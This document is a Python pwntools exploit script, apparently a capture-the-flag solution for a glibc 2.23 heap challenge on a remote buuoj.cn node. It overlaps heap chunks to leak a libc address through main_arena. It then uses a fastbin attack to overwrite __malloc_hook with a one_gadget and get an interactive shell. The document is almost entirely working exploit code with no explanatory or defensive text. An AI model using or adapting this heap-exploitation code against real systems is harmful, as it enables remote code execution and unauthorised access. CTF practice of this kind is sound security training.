1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import *
def Allocate(io, size): io.sendlineafter('Command: ', '1') io.sendlineafter('Size: ', str(size))
def Fill(io, index, content): io.sendlineafter('Command: ', '2') io.sendlineafter('Index: ', str(index)) io.sendlineafter('Size: ', str(len(content))) io.sendlineafter('Content: ', content)
def Free(io, index): io.sendlineafter('Command: ', '3') io.sendlineafter('Index: ', str(index))
def Dump(io, index): io.sendlineafter('Command: ', '4') io.sendlineafter('Index: ', str(index)) io.recvuntil('Content: \n')
if __name__ == '__main__': context.log_level = 'debug'
p = remote('node4.buuoj.cn', 28416) libc = ELF('./../libc/ubuntu16/64/libc-2.23.so')
Allocate(p, 0x80) Allocate(p, 0x80) Allocate(p, 0x80) Allocate(p, 0x80)
Free(p, 1)
Fill(p, 0, b'a' * ( 0x80 + 8 ) + p64(0x80 + 0x10 + 0x80 + 0x10 + 1))
Allocate(p, 0x80 + 0x10 + 0x80)
Fill(p, 1, b'a' * ( 0x80 + 8 ) + p64(0x80 + 0x10 + 1))
Free(p, 2)
Dump(p, 1)
p.recv(0x90 + 8) fd_addr = u64(p.recv(8)) print('fd_addr: ', hex(fd_addr)) main_arena_addr = fd_addr - 0x58 print('main_arean_addr: ', hex(main_arena_addr))
malloc_hook_addr = main_arena_addr - 0x10 print('malloc_hook_addr: ', hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook'] print('libc_base: ', hex(libc_base))
Allocate(p, 0x80) Allocate(p, 0x60) Allocate(p, 0x60)
Free(p, 5)
Fill(p, 4, b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0))
Allocate(p, 0x60) Allocate(p, 0x60)
execve_bin_sh_addr = libc_base + 0x4526a
Fill(p, 6, b'a' * 0x13 + p64(execve_bin_sh_addr))
Allocate(p, 0x10)
p.interactive()
|